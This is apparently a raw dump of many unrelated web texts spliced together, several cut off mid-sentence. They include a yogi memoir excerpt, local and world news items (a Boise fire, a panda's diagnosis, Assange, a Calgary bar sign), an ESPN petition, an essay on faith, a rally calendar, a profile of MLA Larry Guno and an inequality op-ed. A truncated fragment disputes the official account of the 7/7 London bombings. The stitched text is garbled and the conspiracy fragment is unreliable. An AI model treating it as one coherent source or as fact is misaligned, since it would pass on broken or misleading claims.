decoded_text
stringlengths 4.18k
47.6k
|
|---|
door on my worldly ambitions. “A woeful period followed. For six months I lay near death from blood poisoning. As soon as I was well enough to leave Cooch Behar, I returned to my native town. “‘I know now that my teacher is the holy man who gave the wise warning.’ I humbly made this confession to my father. ‘Oh, if I could only find him!’ My longing was sincere, for one day the saint arrived unheralded. “‘Enough of tiger taming.’ He spoke with calm assurance. ‘Come with me; I will teach you to subdue the beasts of ignorance roaming in jungles of the human mind. You are used to an audience: let it be a galaxy of angels, entertained by your thrilling mastery of yoga!’ “I was initiated into the spiritual path by my saintly guru. He opened my soul-doors, rusty and resistant with long disuse. Hand in hand, we soon set out for my training in the Himalayas.” Chandi and I bowed at the swami’s feet, grateful for his vivid outline of a life truly cyclonic. I felt amply repaid for the long probationary wait in the cold parlor!
Chapter: 7 The Levitating Saint The Levitating Saint “I saw a yogi remain in the air, several feet above the ground, last night at a group meeting.” My friend, Upendra Mohun Chowdhury, spoke impressively. I gave him an enthusiastic smile. “Perhaps I can guess his name. Was it Bhaduri Mahasaya, of Upper Circular Road?” Upendra nodded, a little crestfallen not to be a news-bearer. My inquisitiveness about saints was well-known among my friends; they delighted in setting me on a fresh track. “The yogi lives so close to my home that I often visit him.” My words brought keen interest to Upendra’s face, and I made a further confidence. “I have seen him in remarkable feats. He has expertly mastered the various pranayamas of the ancient eightfold yoga outlined by Patanjali. Once Bhaduri Mahasaya performed the Bhastrika Pranayama before me with such amazing force that it seemed an actual storm had arisen in the room! Then he extinguished the thundering breath and remained motionless in a high state of superconsciousness. The aura of peace after the storm was vivid beyond forgetting.” “I heard that the saint never leaves his home.” Upendra’s tone was a trifle incredulous. “Indeed it is true! He has lived indoors for the past twenty years. He slightly relaxes his self-imposed rule at the times of our holy festivals, when he goes as far as his front sidewalk! The beggars gather there, because Saint Bhaduri is known forAn apartment fire on the corner of N. Lakeharbor Lane and State Street in Boise has displaced many families, and was started by fireworks, according to the Boise Fire Department. Firefighters also tell KBOI 2News, one person was treated on scene for smoke inhalation, but is expected to be OK.
The three-alarm fire broke out around 2:30 a.m. Wednesday. Eight units were affected by the flames, and evacuated. We're told four of those units have severe damage. KBOI 2's Lauren Clark says she saw lots of families leaving the apartment complex with their pets and belongings.
Boise Fire says the blaze started on the second floor of the apartment complex but thankfully everyone managed to get out OK.
Boise Fire says there's been reports of teenagers setting off fireworks in the area. Anyone with information is asked to call 343-COPS.Japan Cruise Lines commits to grow cruise tourism in the Philippines 232 SHARES Share it! Share Tweet
Department of Tourism (DOT) Secretary Wanda Tulfo-Teo first thanked JCL for bringing Pacific Venus to Puerto Princesa and Manila in November 2015 and to Bohol, Boracay, Manila and the Hundred Islands in November 2016.
Mr. Kenji Yoneda, JCL Senior Managing Director, enthused that their company is once again interested in including the Philippines in their regular cruise itinerary in 2018. JCL is the leading cruise lines in Japan and has so far been the sole liner which has brought passengers that are predominantly Japanese while its Pacific Venus Ship carries 600 passengers.
“We are happy to announce that we will be deploying the Pacific Venus to the Philippines next year. We hope to receive the usual support for the safe and enjoyable stay of our passengers,” said Yoneda.
Teo said, “We are confident that with JCL resuming its operations in the Philippines, visitor arrivals from Japan will notably increase to enable this top four source market to inevitably rise from its present rank.”
Cruise tourism is one of the nine product portfolios identified in the DOT’s National Tourism Development Plan (NTDP) that will enhance the competitiveness of the country as a tourist destination in the Asia-Pacific region. Also, with the National Cruise Tourism Strategy completed last year and by the ASEAN Cruise Brand, local and multi-country initiatives in the region will be properly guided.
The Philippines has had regular calls from huge vessels of the Royal Caribbean Cruise Ltd (RCCL), Star Cruises and from other international liners for smaller expedition cruises.
“I am confident that more international cruise operators will find our country lucrative as we go about implementing key measures such as the development of port and shore-side infrastructure, facilitation of business entry and offering more exciting shore excursions, among others,” Secretary Teo said.
Latest statistics show that international cruise calls to the Philippines have been growing at an average rate of 27.8 percent over the past four years, from 56 calls in 2014 to 70 calls the following year, and 72 calls in 2016. This year, the Philippines projects over a hundred port call bringing in an estimated 122,000 cruise passengers.
Tags: Cruise, Department of Tourism, Japan Cruise Lines, Japan Cruise Lines commits to grow cruise tourism in the Philippines, Kenji Yoneda, manila bulletin, Secretary Wanda Tulfo-Teo, touristsJeezy‘s highly anticipated Seen It All album is available for streaming now via iTunes and if you followed my live review on Twitter, you’ll know I was VERY pleased with the album. After listening through the album, I thought Jeezy’s collaboration with Lil Boosie, Beez Like, was one of the project’s best and most unique records. It’s not very common for Snow to actually sing a melodic hook and that’s what makes this one so special. It’s not like anything else on the album, which may or may not be a good thing, depending on your taste.
I also included another one of the project’s standouts, What You Say, which sounds quite different than Beez Like.
Listen below and pre-order the album on iTunes before it hits stores on September 2nd.
Beez Like:
What You Say:Monday night on Twitter, ESPN SportsCenter host Jemele Hill called Donald Trump a white supremacist who has largely surrounded himself with other white supremacists. Because of this, ESPN has publicly reprimanded her and the White House has taken the unprecedented step of calling for her to be fired- a clear assault on the First Amendment.
What Hill said wasn’t a partisan statement, it is an inescapable truth that has been acknowledged and written about extensively by countless other journalists. Trump is a man that pals around with avowed White Nationalists, even employing them in the White House. A man who outright refuses to condemn the actions of neo-nazis in Charlottesville and has retweeted graphics from White nationalists accounts. A man whose real estate company was sued multiple times by the Department of Justice for refusing to rent to Black people.
In fact, since Trump’s election, many news outlets have embraced their status as arbiters of truth in the face of Trump’s reliance on “alternative facts” to cultivate a climate of fear. But not ESPN. Instead, they have doubled down on normalizing the type of environment that brought Trump to power. In recent weeks, “the Worldwide Leader in Sports” pushed the false narrative that the NFL’s declining ratings are due to players protesting police violence in their communities, regurgitated NFL owner’s talking points about why Colin Kaepernick is still unemployed, and even ran a fantasy football segment after Charlottesville that looked like a pre-Civil War slave auction.
To solidify their race to the bottom, they’ve even brought back Hank Williams, Jr., to sing their Monday Night Football theme song. Williams’ return comes six years after ESPN fired him from the job for comparing President Obama to Adolf Hitler. Williams has also written songs like “If the South woulda won,” glorifying the confederacy and waxing poetic about a return to lynchings.
How is it possible that a man like Hank Williams Jr, who sings about “taking back Miami” from immigrants, is not politically problematic, but a Black woman pointing out clear and present white supremacy is? ESPN must be held accountable for their power to influence the language we use and the ideas that we discuss. Through these actions, ESPN is not being “neutral,” they are choosing a side.
Here is the Petition:SAN DIEGO -- An elderly giant panda at the San Diego Zoo has been diagnosed with an incurable heart problem.
The zoo said Gao Gao had a medical checkup Tuesday and was found to have pulmonic stenosis, a narrowing of the pulmonary heart valve.
"Gao Gao has a heart disease that will continue to progress,'' Ryan Sadler, a zoo veterinarian, told CBS affiliate KFMB. "Unfortunately, we can't cure this disease, but we definitely can provide him with excellent medical care and make his quality of life good."
Sadler said Gao Gao was put on medication and is responding well to the treatment. The goal is to keep him "as healthy and content as possible,'' the vet said.
The condition is most commonly the result of a birth defect. The zoo says symptoms can include a heart murmur, a low tolerance for exercise and fatigue. Gao was diagnosed with a heart murmur three years ago.
The panda, who's about 26 years old, also has high blood pressure. He had a cancerous testicle removed two years ago, according to KFMB.
Gao Gao and two other pandas are on loan to the zoo from China. He lives with the female panda Bai Yun and their three-year-old son Xiao Liwu. Around 1,600 giant pandas are believed to exist in the wild, but those numbers may be growing due to dedicated conservation efforts.Updated at 3:53 p.m. ET
(AP) UNITED NATIONS - WikiLeaks founder Julian Assange plans to address a meeting on the sidelines of the U.N. General Assembly via a videolink from his hideout at Ecuador's London embassy, seeking to draw new attention to his efforts to avoid extradition to Sweden over sex crimes allegations.
Ecuador's mission to the United Nations said Tuesday that Assange was scheduled to speak Wednesday alongside foreign minister Ricardo Patino at a specially convened event to discuss his asylum case.
The Australian activist is seeking to avoid extradition to Sweden for questioning over sex crimes allegations and has been sheltered inside Ecuador's embassy in London beyond the reach of British police since he fled there on June 19.
Since then President Rafael Correa has granted Assange asylum, but he is unable to leave the country's tiny mission. If he steps outside the apartment-sized embassy, he will be arrested by police who surround the building.
Assange and his supporters claim that the Swedish sex case is part of a Washington-orchestrated plot to make him stand trial in the United States over his work with WikiLeaks, which has published thousands of secret U.S. diplomatic cables and other documents. Both Sweden and the U.S. reject that claim.
Wikileaks founder extradition efforts
(Watch a report at left)
British Foreign Secretary William Hague said that the U.N. was dealing with "much bigger issues" than Assange's fate, but acknowledged there was no current prospect of a resolution to the case in discussions with Ecuador.
"We agreed that we would continue to talk, and we will continue to talk about this issue with the government of Ecuador. But I see no sign of any break through," Hague told reporters at the U.N.
He said the U.K. had an obligation to uphold British and European law by sending Assange to Sweden. "This may go on for some time," Hague said.
Quito and London had clashed over the case, after the U.K. suggested that one potential option would be to invoke a little-known law to strip Ecuador's embassy of diplomatic privileges meaning police would be free to move in and detain Assange.
Hague has insisted that diplomats have no intention of carrying out that action, and had simply been briefing Ecuador on all possible legal options.CALGARY — Calgarians are outraged over a sign at a karaoke bar saying Japanese patrons won’t be served, calling the notice sick and racist.
The sign references an ongoing dispute between Japan and China over the ownership of a cluster of islands, known in Japan as Senkaku and in China as Diaoyu.
Written in bright Chinese characters, the sign translates to: “Diaoyu Islands belong to China. Temporarily not serving Japanese people.”
But a manager at the Beltline business said the sign was written as a drunken prank and not meant to exclude or offend anyone.
First-time patron Thomas, who did not want his last name published, said he snapped a photo of the sign Saturday around 10 p.m. at Lips KTV and Club karaoke at 1130 10th Ave. S.W.
He and a group of friends headed to the karaoke club after a birthday dinner. It was their first visit, said the 20-year-old Calgarian. Upon seeing the sign at the front desk, the group promptly left in disgust.
“This is racism and discrimination,” he added. “To see something happen like this in Calgary is completely wrong.”
The photo later surfaced on online forum Reddit, generating comments from horrified users who raised human rights concerns.
On Lips karaoke’s Facebook profile on Wednesday was written “see above,” referring to a similarly discriminatory comment by another user. The post was captured in a screen shot and ended up on Twitter. The Facebook posts were later removed.
Rocky Oishi, past-president of the Calgary Japanese Community Association, said he was surprised to hear about the sign.
Discrimination against Japanese people was prevalent after the Second World War, but in his own personal experience, such incidents have been rare, he said.
“It’s the owner’s loss. If they don’t admit certain customers, it’s their loss because the patrons will go elsewhere,” Oishi said.
Tensions have been mounting between Japan and China as the fight continues over ownership of the islands, sparking mass protests, according to international media reports.
But Ken Lee, president of the Calgary Chinese Merchants Association, said this is the first he’s heard of the land dispute brought up as an issue in Calgary.
“It’s a hard topic in Asia. I’m surprised to hear that they have a sign like that, especially from a business point of view,” Lee said. “I don’t think it’s appropriate.”
He said he worries about what tourists would think if they walked into a business displaying such messages.
“We want to show them Calgary is a very diverse, multicultural place.”
One karaoke club employee, Andy Wang, said he first thought the sign might have been doctored on Photoshop and posted online. Another employee, JJ Yang, confirmed the message existed, possibly scrawled by patrons when no one was looking, adding it was eventually erased by staff.
But a manager, who didn’t want her name published for security reasons, said she wrote the sign as a joke while singing, off duty, with some Japanese customers.
She said she was drunk when she jotted down the message but forgot to erase it. Nobody reported the sign to staff, she said, adding most of the customers are regulars who don’t usually pay attention to the notice board.
“We are so sorry about that. This is an accident,” she said. “I didn’t mean it.”
She said the business regularly welcomes Japanese customers, and that they would never turn anyone away based on ethnicity.
She denied knowing anything about the deleted Facebook message. But she said she may take to the social media site to offer an explanation and issue an apology.
[email protected] believe in God, but it gets complicated very quickly after that.
My education has me well aware that theistic belief is scientifically dubious at best, manipulative sociology at its worst. A recording by the philosophical entertainer Alan Watts put it scary-plain for me one day: “The hypothesis of God doesn’t help us make predictions about the future.” But my own experiences and understanding have me hesitant to write off the divine.
The Internet has made it clear that there are as many ways to relate to God as there are people on the planet. Most of these relationships will fall comfortably into archetypes, whether it’s “devoted student,” “indifferent stranger,” or something in between. For many it’s “blind advocate.” For some it’s “abused child.” I find myself relating to God like a reporter relates to an interview subject. My perpetual question to the sky is “Why did you do that and what were you thinking when it happened?” This minority point of view is becoming increasingly popular as a number of emergent churches offer their own spin on the party line of being concerned “not with having the right answers, but with asking the right questions.”
I realize how unpopular it is to sound off on this stuff. People who believe in God often want to elaborate on their superior definition of human love or share a loud opinion on women’s access to basic healthcare soon after introducing themselves. But that isn’t me for a moment, nor is it a lot of other folks I know.
I’m a white Christian male from a moderate-tending-liberal religious upbringing in the American state of Virginia. God was present from an early age. My family attended church every Sunday; we recited a utilitarian yet sincere prayer before dinner every evening: “Lord, thank you for our food. Amen.” And when you’re fortunate enough to be able to discern at an early age that the world is a big, complicated place, it’s easy to play it cool by outsourcing your identity to “well-meaning church kid who’s cool with whatever.” Internally, however, I was set to get down to the bottom of whatever this is, all of it, and was glad to receive the cultural resources apportioned for doing so. The optimistic certainty of the afterlife offered by so many of the world’s faiths makes for a great outlook until you grow smarter still and discover doubt.
Religion and technology have been agents of change since words existed.
My social life got better at a pivotal age with the advent of “rebellious Christian music,” the in-your-face punk and metal bands of the late 1990s, playing on labels like Solid State and Tooth and Nail. These are bands made up of members who profess religious faith while playing music your parents are sure to hate. Any parental objections to especially chaotic music could be swayed with a quick glance through the liner notes to check for shoutouts to God. Suddenly there were good concerts to go to, $5 weekend shows in church basements where tattooed screamers exorcised their own demons. Saturday night made for better church than Sunday morning because you were free to leave raucous evidence of meaning everywhere. Sweat patterns revealed themselves through T-shirts, vocal cords were shredded, and basement toilets clogged. Silently raising your hands like spiritual antennas on a Sunday didn’t seem as sincere when you could spend 45 consecutive minutes dancing in violent communion with God on a Saturday.
I can already feel the semantics getting hazy, so let’s define specifically what I mean by “God.” He’s a Caucasian male with white hair and a thick white beard, perpetually clad in some sort of robe. Pretty much exactly the way Gary Larson draws God in The Far Side—that’s my guy: Benevolent if weird, paternal if distant (making him even more paternal to some). The notion of God is too easily an intimidating one, so I like to interact with it on a sillier but more approachable scale. We are said to be made in God’s image, so I figure the old guy can handle some anthropomorphization.
I found a far superior working definition for God from a guy named Mike McHargue, a Christian thinker, writer, and podcaster. He writes, “God is at least the natural forces that created and sustain the universe as experienced via a psychosocial construct rooted in evolved neurological features in humans.” Be sure to reread that a couple times; it’s already a lot to unpack—but this guy’s nickname is “Science Mike” for a reason. His God-positive stance comes only after years of personal atheism kept secret from his religious family and a lifetime of the most severe, childlike enthusiasm for science. McHargue makes things even more real in his follow-up sentence: “Even if that is a comprehensive definition for God, the pursuit of this personal, subjective experience can provide meaning, peace, and empathy for others and is warranted.”
My predilection for God has gotten me in trouble. In 2013, I interviewed a world-renowned scientist at a quantum physics conference in Moscow, Russia. He was kind enough to lay out the basics of quantum teleportation for me. Not only do electrons literally teleport from one place to another without external stimulus but they can move forward and backward in time, and science presently has no way of answering why this is the case. I asked what was to me an obvious question: “Doesn’t that nearly seem to have theological implications?”
The notion of God is too easily an intimidating one, so I like to interact with it on a sillier but more approachable scale.
Cued by an invocation of the metaphysical, he stood from the dinner table and pointedly reminded me that he only examines verifiable data. “If you have any more questions, you can email my assistant,” he said with most of his back already showing to me. I quite wish he had stayed so we could talk through a beautiful quote by Werner Heisenberg, the physicist celebrated for his eponymous uncertainty principle and Breaking Bad allusion: “The first gulp from the glass of natural sciences will turn you into an atheist, but at the bottom of the glass God is waiting for you.”
A friend has the words “solvitur ambulando” tattooed on his inner arm in Courier New. It’s a Latin phrase meaning “it is solved by walking,” alluding to the Greek philosopher Diogenes the Cynic. When a third-century B.C. know-it-all tried to convince Diogenes that motion didn’t exist, the lore tells us that Diogenes merely walked away from that person. The phrase gets at the idea that problems are solved by practical experimentation, that answers come after experience. It’s a more mindful way of accessing the “time heals all wounds” sentiment: Circumstances will be better when you do the work they require. So it is with matters of faith and doubt. If you’re not wrestling, you’re not paying attention.
Quite inconveniently for us, it turns out that humans are predisposed towards certainty. Scientific American calls this trait “a potentially dangerous mental flaw.” McHargue elaborated on this over the phone, saying, “People will accept certain information any day of the week. The guy who’s certain makes you feel like you have the best chance of surviving.” Compare the behavior of a snake-handling Pentecostal preacher to that of a Tuesday-morning TV weatherman. Which one seems more “certain” of the future he’s describing? What of your experiences will remind you that certainty can steer you wrong? Basically: How far have you walked?
Given the disparate attitudes, comforts, and discomforts surrounding how people tackle God, it becomes increasingly difficult to find solid, regular community with people interested in doing so with you. Within the past year, there’s been a boom of forward-thinking religious content finding distribution all over the Internet, skirting geographic restrictions in an instant.
“Instead of posting 95 Theses, she’s posting 95 tweets, and they’re echoing farther and faster than Luther’s writing.” —Mike McHargue
Nadia Bolz-Weber, the tattooed author and former standup comedian, pastors a church in Denver, Colo., while her sermon podcast has found an engaged audience around the world, especially among many in the LGBT community who struggle with matters of faith. Members of the band Emery, one of the aforementioned rebellious Christian bands that came after my time, run a successful podcast called BadChristian in which they swear like it ain’t no thang while engaging in some heavy theological lifting. My personal favorite podcast of late is Drunk Ex-Pastors, which follows two former pastors and best friends of 25 years as they manage their post-church lives. One is a practicing Catholic, one is agnostic, and they hang out once a week to hash it all out over drinks while a recorder runs. It’s brilliant.
If community can be born out of something as simple as continually wanting to hear what another person has to say, then I have found valuable (if one-sided) community in consuming digital media that has a religious bent and lives far from the beaten path. There are entire books written on the nature of religious community, but these are only read by the worst overachieving seminary students and not one gets at the open-minded revival taking place online. I’ve graduated from listening to music my parents would hate to listening to podcasts my parents would hate, and it has made all the difference.
“A podcast is the perfect form for hanging out and getting people to know you. That’s all we want to do,” said Matt Carter, guitarist for Emery and cohost of BadChristian. “I couldn’t be a bigger fan of the implications the Internet already has for culture and Christianity. It’s a bigger deal than the printing press. We are ultimately headed to a place where anyone can find out whatever they want to find out, and I think the message of the Gospel is true and real and good, and that’s going to surface.” I asked him about where the name of the podcast comes from. “You hear ‘good Christian’ tossed around all the time,” he said. “We think that’s unachievable, or a stupid thing to try for in the first place. I think it’s a great illustration of what people fundamentally want to be seen as: good.”
There’s an obvious analogy to be made between podcasters like Carter who use the Internet to seed religious thinking today, and Martin Luther, who nailed his scandalous 95 Theses to the door of the Castle Church of Wittenberg in 1517. “I certainly do think about [Luther] a lot,” said Carter. “But it also seems presumptuous to say, ‘Guess what, guys? I’m here, time to change everything!’ Revolution sounds attractive, but I’m hesitant to say, ‘Follow me.’”
I’ve graduated from listening to music my parents would hate to listening to podcasts my parents would hate, and it has made all the difference.
Science Mike agrees with that Luther analogy. “Nowadays you have 10,000 Martin Luthers trying to turn the thing on its ear, both inside and outside the church. Some even still hold him up today as the old guard and defend him with the same zeal,” he said. “In terms of what Luther looks like today, I think you look at Rob Bell, or Rachel Held Evans. Boy, is she shaking things up. Instead of posting 95 Theses, she’s posting 95 tweets, and they’re echoing farther and faster than Luther’s writing.”
Evans is as Christ-affirming as they come, but she’s incensed a number of people by advocating ideas that don’t fit into the popular (narrow) conception of most religious thought. She thinks the Lord is just fine with gay people, for example. One of her three books, A Year of Biblical Womanhood, chronicles her true-life experiences of living as a Biblically rigorous woman for a year, following every rule the Bible says applies to her. It’s tremendous.
Religion and technology have been agents of change since words existed. Today these changes might be socioeconomic (a church group raising money for a homeless shelter; Kahn Academy), unifying (some people at church can’t stand each other but get along fine every week; Meetup.com and OkCupid), or even spiritual (Psalm 18:6; the feeling you get when you buy a new iPad).
Technology is so transformative as to even change your brain. Science Mike says it has to do with zoning out in front of screens all day: “Our fields of vision are locked into flat two-dimensional space. The first thing we do every morning is to grab our smartphone and stare at a rectangle. Then we brush our teeth, go to work, and stare at a larger rectangle. Every time we look away from it, we glance back at our pocket rectangle. This delivers constant hits of dopamine and serotonin to the brain, exactly as if we’re drug addicts. The pleasure centers of our brains get hits of happiness as we look. Then we come home and stare at the biggest rectangle of them all—the television—which absolutely cooks your brain into a trance state. Every time it doesn’t interest us, we can look back at our pocket rectangle.” Were we changing depths of field more often, says McHargue, our neurologies would be healthier and more engaged.
“I couldn’t be a bigger fan of the implications the Internet already has for culture and Christianity.” —Matt Carter
Religion can also changes the neurological characteristics of your brain depending upon where you fall on the continuum (if at all) between loving God and being afraid of the guy. Those who perceive a primarily wrathful God will generally exercise better impulse control at the expense of being less capable of forgiving themselves for a mistake. Those who perceive a primarily benevolent God and meditate on that benevolence (McHargue volunteered the figure of 30 minutes of prayer daily) get all kinds of perks. They see improvements in memory, active compassion and empathy centers in the brain, and an increased propensity to treat themselves and others gracefully.
“If you meditate and focus on this loving god over a long period of time, that understanding of God can become embedded in thalamus, which is like the relay center for the brain, where your sense of self lives,” McHargue said. “When that happens, the idea of a loving God is imprinted on your brain and you believe God’s love can triumph.”
I interviewed an executive pastor for a medium-sized church in New York City ahead of writing this story. At the end of a heady theological conversation in a hotel lobby, he said, “Do you ever wonder if God is merely a psychological construct implanted into your mind by your parents?”
“Yes,” I said. “Why do you ask?”
“Because I wonder the same thing myself.”
My mind was blown. Man, I hope it’s solved by walking.
Photo via William/Flickr (CC BY 2.0)The calendar for the FIA World Rally Championship has been confirmed at a meeting of the FIA''s World Motor Sport Council in Singapore earlier today.
It features 13 events starting with a return to the legendary Rallye Monte-Carlo in January, which will be running for an 80th time next season, and finishing with Rally de Espana on the Costa Daurada south of Barcelona in November.
The major developments since the draft schedule was published in early June concern the scheduling of the rounds in Greece and Italy. The Acropolis Rally has been confirmed from 25-27 May following a possibility that it would take place one week later in early June. Italy’s round will take place from 18-21 October.
Rally GB’s mid-September date has also been rubberstamped, the first time it won’t host the season finale since 2005. Rally Finland runs on the first weekend in August having occupied a late July slot in recent years, while Rallye Deutschland takes place on the last weekend of August, one week later than scheduled this season.
New Zealand’s all-gravel encounter is back on the schedule having missed out on a slot this season. The Auckland-based event will take place from 22-24 June.
The calendars for the FIA Production Car World Rally Championship and FIA Super 2000 World Rally Championship have also been published with both series kicking off on Rallye Monte-Carlo. PWRC drivers will nominate six events from a list of seven on which to score points. SWRC competitors will score on seven events out of a possible eight.
The 2012 FIA World Rally Championship calendar is confirmed as follows:
Note: The finish date given is the Sunday of the rally weekend. Itineraries are however subject to final confirmation by event organisers.
Six nominated events from eight count towards the Championship.
Seven nominated events from eight count towards the Championship.https://goo.gl/UpGJhR
During the 1960s in northern B.C., jobs were aplenty and life was good.
Prince Rupert was a bustling town, especially during commercial fishing season. And Terrace was a busy hub where loggers and miners could be found mingling with businessmen in the town’s watering holes.
For Indigenous people, though, something else was just as common: racism. Some quietly endured racial slights and ambled on with life. For others, racism burned like being branded with a hot iron. It instilled a conviction that sparked action, so no one else would have to live with the same indignity.
Larry Guno, the late Nisga’a MLA for Atlin who died in 2005, embodied the latter. In the ‘60s, he and his brother-in-law were travelling together through northern B.C. by car. Tired from the long drive, they stopped at a hotel to get a room for the night, but were refused accommodation. “The owner said he doesn’t serve First Nations people,” recalls Larry’s younger brother Don Guno, 64. “Indian people were discriminated against in a thousand different ways back then. You never felt like you belonged anywhere. I think it took a lot of self-confidence to overcome that.”
This incident and others compelled Larry to act. He sued the hotel owner because what happened wasn’t right and it had to be made right. “He saw injustices that were happening with Indigenous people all around him, and he wanted to help change that in some way,” Don tells me from his apartment in Vancouver, where photos of Larry sit on a shelf in his living room.
“You never felt like you belonged anywhere. I think it took a lot of self-confidence to overcome that.”
But Larry’s quest for justice didn’t stop there. He earned a law degree from UBC in the early ‘80s, and fought for Indigenous people in court. Then in 1986, after seeing how B.C.’s legislature in Victoria made decisions that influenced Indigenous lives without their input, he ran for provincial office in the northern riding of Atlin — and won. Larry became only the second First Nations person in B.C. history to be elected as an MLA. (The first Indigenous MLA, Frank Calder, was also Nisga’a and also won in Atlin in 1949.)
At age 46, Larry’s victory was the capstone on a life whose youth was steeped in confidence-corroding discrimination that made a successful political career unlikely.
Tough beginnings
Born in 1940, Larry grew up in the Nisga’a village of Old Aiyansh, a long way from B.C.’s legislature in Victoria. In his preteens, he was diagnosed with tuberculosis and spent the next two years in the Nanaimo Indian Hospital, 1,500 kilometres away from home. Larry’s parents worked seasonally and couldn’t afford to visit him. The facility was like a sterile tomb, but it was also the anvil on which Larry’s fortitude was hammered. “He told me how lonely he was. He never forgot that, and I think it had a big effect on him for the rest of his life,” Don says, alluding to Larry’s struggle with the traumatic effects of that experience and his time at residential school. “But he also told me that when he got older, he felt like he could do anything because he’d gone through all that when he was young. I thought about that when he ran for MLA.”
After the Indian hospital, Larry spent four years at the Edmonton Indian Residential School. And as a young child before that, he watched racist federal fisheries officers demean his father’s First Nations heritage, while fining him for trivial infractions. Then there was the hotel incident.
“Those things really lit a fire in Larry. He said our people shouldn’t suffer being treated like that,” says Don. “He felt that our people were shunted to the side and forgotten. His whole idea was to get out there and be heard — that was what he wanted to do.”
Larry lived in Prince Rupert after leaving residential school around 1958 and worked in a mill. Later in his life, he moved to Vancouver to attend UBC, and worked as a lawyer before becoming the MLA for Atlin.
But upon his arrival in Victoria, Larry encountered not only a government hostile to Indigenous rights, but also open racism. He found that wanting to change Indigenous policy and legislation — and trying to do so once inside the seat of provincial power — were two very different things.
The lone Indigenous MLA
Former Alberni MLA Gerard Jannsen, a fellow NDP member, roomed with Larry in Victoria. Jannsen says Indigenous issues weren’t on the political agenda of the then-governing Social Credit Party. “The political climate then was awful when it came to First Nations people. They believed First Nations peoples had no aboriginal rights and no land rights,” he tells me.
With no apparent political recourse to advocate for themselves, Indigenous people took to the streets. Protests flared in Athlii Gwaii (Lyell Island), Clayoquot Sound and Pemberton. Jannsen says Larry saw these flashpoints as part of a bigger picture: “Larry used to say in our caucus meetings that these weren’t just isolated issues, that there was a whole series of issues linked across the province that had to be addressed.”
In a 1991 interview with the Indigenous newspaper Windspeaker, Larry noticed that First Nations people were developing a collective consciousness and preparing to fight for themselves. “[Indigenous Manitoba NDP MLA] Elijah Harper and his lone stand on Meech [Lake Accord] gave our people a sense of ‘Hey, we can challenge their moral authority and win,'” he told the Canadian paper. “We’re not so powerless as we used to think.”
Although Larry found some sympathy in the NDP caucus for Indigenous issues, he faced racism at worst, and haughty disinterest at best, from the rest of B.C.’s legislature.
He faced racism at worst, and haughty disinterest at best, from the rest of B.C.’s legislature.
Jannsen recalls a racist comment made by former Social Credit highways minister Neil Vant during one legislative session that prompted a swift response from Larry. “Vant made a statement in the house that he |
link's 7:40, 7:46 and 7:56 trains were cancelled, and others were delayed (arrival at King's Cross but not departure from Luton) by up to 35 minutes.The 7:24 departed Luton at 7:25. Independent trials have shown that it takes over three minutes to walk up the steps to the ticket office and down to the platform. In the image of Hasib Hussain on the stairs, he is not running. For the official theory to havAmericans are in deep denial about our wealth inequality. In the US, the richest fifth have 84 percent of the wealth – and most of us don’t consider this to be a problem. In fact, we don’t even guess at the distribution close to correctly. In a recent poll by Duke’s Dan Ariely and Harvard’s Michael Norton, respondents thought that lucky fifth has more like 59 percent of all US wealth and favor them owning just 32 percent of it.
But our blindness to the amount of inequality and its effects on our society isn’t pure ignorance or apathy. It’s at least partly a function of how we talk about the issue. We say things like “the wealth gap” and “bridge the gulf” – phrases that obscure some basic truths about inequality.
It’s automatic and necessary to explain the world in metaphors – to describe abstractions by comparing them to concrete things. In the case of inequality, we’re characterizing the differences between the rich and the poor as though they’re objects affixed on opposite sides of a chasm. But viewing inequality as an economic canyon makes it hard to argue for policies that might actually diminish it. A canyon, after all, is a natural formation.
“Gap” isn’t a stirring call to action; it’s a clothing store. It may provide a ready image of where we are, but it says nothing about how we got here. Studies of cognition and decades of experience tell us that when we don’t provide an explanation, our audiences will fill one in themselves.
Poor is "bad," wealthy is "good"
In this case, the cause-effect narrative for our “gap” seems to go like this: Those who are poor have chosen this condition. Whether it’s character flaw (lazy bum), moral failure (welfare queen), inherent defect (the bell curve), or all of the above, this story tells us what have-nots have not is ambition or intelligence.
It’s no accident that we routinely refer to the wealthiest as the “top” and the rest as the “bottom.” In English, good is up and bad is down. That’s why we say, “things are looking up” and “she’s down in the dumps.” No wonder we pull ourselves up (not forward or along) by our bootstraps. Calling certain folks upper class implies they are worth more not just materially but also morally.
Inequality isn't an individual choice
If being rich or poor is understood as the result of differential effort, then we can conclude each category is simply a lifestyle choice. Inequality is then a sign that our economy is doing exactly what it should – rewarding the deserving and motivating the lazy. And the line of reasoning continues: Since there’s nothing wrong with this, there's nothing anybody should do about it.
We use this “gap” language all the time. And then we wonder why the statistics we cite, the graphs we generate, and the examples we offer of widening inequality don’t raise the eyebrows, let alone the ire, of many in our audiences. Using this language tacitly degrades individuals and makes current conditions seem natural. By employing it, we blind the public to the fact that inequality isn't an individual choice. Rather, it’s the direct result of the rules financial and political elites have crafted for their own enrichment.
In one economy, inequality hurts all
A wealth divide further implies we have two separate economies, with the rich on one side of the gap and everyone else on the other. If we believe the wealth of a few has absolutely no relationship to the deprivation of others, then there is no solution for inequality. Because there’s no problem.
This is not just a false assumption but also a dangerous one. All of us engage with one another, producing, consuming, saving, and investing in our one economy. But the wealthy have managed to make off with the lion’s share. When wealth connotes moral goodness, it’s easy to believe that these riches are just deserts. As Dan Quayle argued against progressive taxation, “Why should the best people be punished?” Yet history shows that some people are unfathomably rich because others are inexcusably poor.
So how do we get the word out about economic inequality? Not just how much of it exists, but also where it comes from, and why it’s destroying the long-term stability of American society and the proper functioning of our economy?
Make no mistake: Impoverishing certain populations is, in fact, derailing our entire economy. As we suppress real wages for the majority, we shrink purchasing power and with it consumption and then available employment. Without money to maintain our homes and care for our families, we have less and less reason to follow the tacit agreements of civil society.
Not a 'gap,' but a 'barrier'
Instead of a “gap between rich and poor,” we’re far better served calling it a “barrier.” A barrier connotes a big, imposing wall behind which a few can hoard the goodies, while those on the other side are left wanting. When you barricade yourself in, you keep others out. Instead of asking to “bridge the divide,” let’s insist on dismantling the obstacles that keep too many from the gains produced of their own hard work.
The metaphor of inequality as a barrier, wall, or other obstruction highlights several critical truths about our economy. It tells us these objects are man-made. This conveys that inequality is not some God-given, inevitable, natural wonder. We have built these barriers, and we can bring them down. In other words, there’s another way our economy can be structured if we elect and work for it.
Deconstructing barriers
We can start by deconstructing the foundations of these barriers – spotty prenatal care, no universal preschool, lead-painted walls, and cheap, accessible junk food. We can continue by combating overcrowded classrooms managed by a revolving cast of untrained teachers. We can improve the recreational and after-school choices for children. And we can work to eliminate the neighborhood violence, dirty air, and contaminated water that form the perfect blockade to adult success.
